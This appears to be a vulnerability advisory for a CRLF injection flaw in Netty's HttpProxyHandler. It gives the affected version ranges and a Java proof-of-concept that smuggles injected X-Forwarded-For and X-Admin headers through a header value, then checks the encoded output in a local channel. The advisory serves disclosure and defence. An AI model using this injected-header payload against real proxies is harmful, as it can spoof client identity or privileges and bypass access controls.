CRLF Injection Affecting io.netty:netty-handler-proxy package, versions [,4.1.133.Final)[4.2.0.Alpha1,4.2.13.Final)

Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.

Notes:

• This is only exploitable if the application uses HttpProxyHandler with user-influenced outboundHeaders and does not perform its own CRLF sanitization on header values.

• This is caused due to an incomplete fix for CVE-2025-67735.

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

• GitHub Advisory
• GitHub Commit